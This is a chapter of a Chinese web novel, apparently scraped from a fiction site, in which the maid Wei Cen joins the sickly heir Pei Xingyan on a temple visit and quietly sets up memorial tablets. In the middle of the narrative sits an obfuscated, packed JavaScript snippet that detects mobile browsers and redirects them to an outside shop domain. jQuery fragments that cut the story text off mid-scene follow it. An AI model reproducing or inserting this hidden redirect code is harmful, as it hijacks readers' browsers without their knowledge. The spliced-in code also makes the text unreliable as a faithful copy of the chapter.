文趣网 > 都市小说 > 她真的盼我死 > 3. 织女之意
    眨眼间便是冬至。

    从一大早上起,秦王府里就热闹非凡,只除了柳侧妃的院子。

    因她半个月前,在裴行衍面前胡沁了几句有关于德清大长公主前来退婚的事,激得裴行衍病发吐血,被老王妃下令关在院子,不得踏出一步。

    而初白院里,也是死寂沉沉的一片。好像前不久那个午后的血腥气,还淡淡漂浮在初白院的上空,搞得一干伺候的下人,人心惶惶。

    春和郡主刚从垂花门上了马车,就命人来裴行衍的马车前,请卫岑去她的马车里,陪她说话。

    卫岑见靠在软枕上的裴行衍闭着眼,不徐不急地转着手里的紫檀佛珠,不说话。

    挣扎半刻后,咬牙轻轻掀开车帘,跳下马车,去寻春和郡主。

    裴玉珠甫一见卫岑进马车来,忙拉着她的手,让她坐在自己身边。

    “阿橙,怎么这几日,你都不来我院子里寻我玩?”

    卫岑笑道:“奴婢这段时日没得空来给郡主请安。这不,方才一听素玉说郡主寻奴婢,奴婢就赶紧过来了。”

    哪知裴玉珠闻言却轻哼一声道:“若是我没有派人去叫你,你才不会过来呢!”

    “哎呦!我的好郡主啊!”卫岑委屈巴巴道,“您是金枝玉叶,奴婢只是一个小丫头。没有您发话,奴婢哪敢偷偷摸摸上您的车驾?”

    裴玉珠是裴行衍一母所出的妹妹。平常时不时就来沧澜院坐坐,早就和卫岑走得极近。

    再加上,卫岑每次做的胭脂水粉,都是第一个孝敬这位春和郡主。裴玉珠也是极喜欢眼前这讨喜的小丫头。

    卫岑不似其他人,一得了其他主子的青眼,就要急吼吼地离开沧澜院。她想得很清楚,若是跟了春和郡主,只怕待春和郡主嫁人时,她也要陪嫁。

    与其这样,还不如就老老实实待在沧澜院,守着裴行衍。

    裴玉珠见她这副招人心疼的样子,也不再计较卫岑迟来的事,直言上次卫岑给她讲的故事,还未说完,让卫岑抓紧时间给她讲完。

    卫岑闻言,便眨眼想了想上次那牛郎织女的故事讲到哪里了,才徐徐接着上次未讲完的地方,给裴玉珠细说起来。

    等到她的故事讲完,裴玉珠已经困得靠在素玉肩头上,睡着了。

    素玉在一旁也听完了卫岑讲的故事。

    见自家主子睡熟了,才低声朝卫岑问道:“阿橙,我不喜欢这个结局。”

    “王母娘娘怎么忍心,让织女一年才见一次自己的夫君与孩子呢?若换作是我,我宁阳不要当仙女,也要和我的夫君和孩子们在一起。”

    卫岑看着眼前单纯懵懂的素玉,沉吟半晌,忽启唇道:“这结局残忍吗?”

    “若换作我是织女,被人偷了衣裳不能回家。我便……”

    素玉急道:“便怎样?”

    便亲手剥下那人的皮,化作自己的衣裳穿上。

    至于那头多嘴多舌,泄露天机的老牛,她会割下它的舌头,将它系在磨盘上,永生永世都不能停下了歇息片刻。

    卫岑自然不会告诉素玉自己心中所想。

    为了不吓到素玉,她将这些话在舌尖上滚了一圈,才吐气道:“我便沉在湖底,直到我的家里人来救我。”

    “可仙女失了衣裳,连法力都没有,她家里人怎么才能寻到她?”

    “沉在湖底,便可化作水鬼,跟着牛头马面进入阎罗殿。等见了阎王,他老人家自然是要送我回天庭。”

    素玉哪里想过还有这种办法,当即就惊得一愣一愣的。就连看着卫岑的眼神,都变得与之不同。

    “阿橙,你可别做什么傻事。”

    卫岑收起脸上的漠色,展颜笑道:“我才不会做什么傻事呢!既然老天爷给我一条命,我便会好好珍惜。”

    素玉轻轻拍了拍胸脯,一脸心有余悸道:“那就好,那就好。”

    刚刚卫岑一副宁愿鱼死网破的模样,当真是吓坏她了。

    如今沧澜院里最受宠的丫头,就是卫岑。

    满府里下人们心照不宣。说不定,下一个如柳侧妃那般得宠的姬妾,会是眼前这位豆蔻年华的女子。

    浩浩荡荡的秦王府车马队伍,到了宝华寺山门处。

    一早就得了信,候在山门外的几位沙弥,见贵人们的马车已经稳稳停在山门处,虚跑了几步等在马车旁,迎着笑脸恭恭敬敬地将贵人们迎进了寺中。

    宝华寺是京城里香火极旺,颇受勋贵世家推崇的进香之地。

    卫岑不仅听说这里许愿灵验。就连风景,也在京中一绝。

    她跟着宋嬷嬷身后,拾阶而上。

    心里却记挂着什么能脱身,去了却她心中长久以来的牵挂。

    寺中的主持智能大师在大殿外,亲自迎了裴行衍与裴玉珠,进殿进香。

    立在大雄宝殿门槛处的卫岑,抬头仰望着大殿中央那座慈眉善目,垂眸俯视众生的金佛,仿佛她也像是被上苍庇佑的人。

    她微微翕动了几下唇瓣,趁着沙弥们敲响手里的木鱼时,飞快地呢喃了几句。

    希望上苍保佑,保佑魏橙早登极乐,下辈子一定要过得快快乐乐,幸福遂心,不必与人为奴为婢。

    裴行衍跪在佛祖脚下的蒲团上,眼角的余光,却忍不住往门槛处的那抹身影撇去。

    待他们兄妹进完香,智能大师又将兄妹俩往后殿引。

    卫岑紧随其后。

    她跟在宋嬷嬷身后,随智能大师与裴行衍与裴玉珠,进了一间烧着暖炉的禅房。

    见这禅房中不仅点着暖炉,甚至还置了暖脚的铜炉,卫岑便明白这是宝华寺特意为体弱多病的裴行衍,备下的禅房。

    “贵人们稍坐片刻,老衲这就去让人端些热茶来,替贵人们驱驱寒。稍后,会有老衲的弟子无尘,来替贵人讲经。”

    智能大师说完这话,便双手合拢念了一声佛号,退出了禅房。

    裴玉珠见他终于走了,还不等裴行衍开口,便闹着要去后山赏腊梅花。

    “咳咳……去、去吧。去后山逛一逛也行,免得说我出来了,还拘着你不放。”

    裴行衍虽然已经将双脚放在暖意融融的脚炉里,却还是觉得冷。

    卫岑见裴行衍惨白的脸色上,泛着淡淡的青,赶紧将小沙弥端来的热茶,替他斟了一杯。

    看着茶盏中袅袅升起的白雾,卫岑还是觉得这禅房太冷了些。

    裴行衍见茶盏里不仅飘着几根亭亭玉立的银芽,还有些许松针,便知那人已经来了。

    他端着茶盏,轻轻吹了一口漂浮在盏缘的水沫,“若是喜欢,还可以折几枝带回去孝敬祖母与母妃。只是得小心些,别摔了跤,身边也别离了人。”

    裴玉珠大喜道:“是。”

    说完,便朝在身旁给她斟茶的卫岑眨了眨眼,就领着素玉等几个随身伺候的丫头,笑嘻嘻地出了禅房。

    裴行衍垂眸啜饮了两口茶水,“阿橙,你也想去逛一逛吗?”

    “想。”卫岑毫不犹豫道。

    裴行衍闻言扫了她一眼。

    见从她身后的门外,缓缓走来的两个身影,干脆利落道:“去吧,给你半个时辰的假。”

    “奴婢谢世子爷。”

    卫岑放下手里的茶壶,眉开眼笑地朝裴行衍屈膝退下。

    只是行至门口时,看见一年轻僧人,与一穿着玄色锦袍的男子正抬脚跨过门槛,急忙让开路,请他们先行。

    无尘见一色若春花的小丫头立在门口,等他们先进,不免转头多看了她一眼。

    “咳咳——无尘师傅快请进吧。”

    裴行衍见无尘转着脑袋望向卫岑,不由提高了咳嗽的声音,提醒他赶紧进来。

    无尘回头与那身着玄色锦袍的男子对视一眼,便笑着继续往禅房里走。

    卫岑见两个人都进去了,方才抬脚跨过门槛,径直离开这座寂静禅院。

    出了禅院,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912105|213154||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    卫岑东绕西绕终于寻到一个小沙弥,让他领着自己去往生殿。

    小沙弥见卫岑衣着不俗,又是随今日入寺的贵人一同前来的人,当即就诚惶诚恐地在前方替卫岑引路。

    一路行至往生殿外,小沙弥才知卫岑是想在往生殿里供两个牌位。

    小沙弥道:“施主是要给亲人立牌位吗?”

    卫岑道:“应该……应该算是吧。”

    一个是替魏橙立的。一个……一个则是给那个世界的她而立。

    虽然原身魏橙是因一场风寒身亡,可她终究还是占了她的身子,领了她亲娘的恩情,卫岑一直记挂着要替她做些什么。

    至于,那个世界为救人而亡的自己,也不知道她死后有没有人替她立牌位。

    说来可笑,卫岑在她原来的世界里,竟是一孤儿。

    她靠着救助读完了书,好不容易有了一个安身立命的所在,却为了救人,来到这个史书上根本就没有记载过的朝代,为奴为婢。

    既然是托人办事,那就要与人好处,才能行得方便。

    到了这寺庙,更应如此。

    卫岑从袖口里掏出她早就准备好的银钱,递到小沙弥怀中。

    “劳烦小师傅替我劳累一番,卫岑感激涕零。”

    小沙弥原不肯收她递来的银钱。可见她执意要给香火钱,不得不勉强收下。

    “……施主既然是替亲人所立。不如,您亲自题牌位上的名字吧。”

    小沙弥收了银钱,动作极快地领着卫岑进了往生殿,在看管往生殿的和尚那里,取了两块新做的黑漆牌位来。

    卫岑提笔欲写,可想了半刻,还是放下了手里饱蘸金粉墨汁的笔。

    “不用,”她忍着眼眶里渐渐浮起的热意,“就这样吧。”

    小沙弥见状她有些伤感,也不再勉强。合手念了一声佛号后,他便抱着两个无字牌位往供台走。

    卫岑的心愿已了。

    离开往生殿后,她又去了裴行衍兄妹俩进过香的大殿,让知客僧人替红烛点了一盏长明灯,自己则亲手烧了不少纸钱。

    外间的天空,不知何时起又开始飘雪。

    零零碎碎的雪花,顺着四四方方的檐角落在庭院里,很快就将庭院里还有一抹生机的翠竹给压弯了腰。

    卫岑办完这些事,立在廊下看了好一会雪,才搓了搓自己早就冻得通红的双手,往裴行衍所在的禅院方向走。

    只是她这次从大殿后出来没多久,抬眼就看见右侧偏殿供奉着药王菩萨。

    犹豫片刻,卫岑还是决定进去拜一拜,多求几个保佑康健的平安符。

    守在药王菩萨殿里的僧人,见卫岑诚心诚意地跪在蒲团许久,不仅十分大方地给了她数十个平安符,还笑眯眯地在她起身后,敲了三下木鱼。

    醒人神志的木鱼声,缓缓在这一小小偏殿里响起。

    卫岑看着手里捏着的一大把平安符,无声地弯了弯嘴角。

    既然已经拜过药王菩萨,卫岑路过寺里的闻多天王殿时,也忍不住进去拜了拜。

    等她回到禅院时,只见去后山赏梅的裴玉珠,已经坐在禅房里与裴行衍,赏着她让人折来的腊梅。

    而卫岑离开时遇到的年轻僧人,和那玄色锦袍男子,早不知何时离开这里。

    裴行衍见卫岑捧着一大把符咒进屋来,虚弱道:“你……你这是许了多少愿望,怎么拿了这么多符咒来?”

    看不出来,这丫头的愿望有这么多。

    裴玉珠闻言也转过头去看卫岑。只见她那张如春花晨露的脸庞上,绽放出一抹明媚飞扬的笑容。

    “这些都是奴婢从药王菩萨殿里,专门求来的平安符。每个人都有。就连留在府里守院子的碧月碧螺,奴婢也准备了她们的一份。”

    裴玉珠笑着拈起卫岑手里的一枚平安符,见上面用朱砂绘着不知何意,却刺眼夺目的符文,挑着眉头往她哥哥面前一递:“哥哥先请。”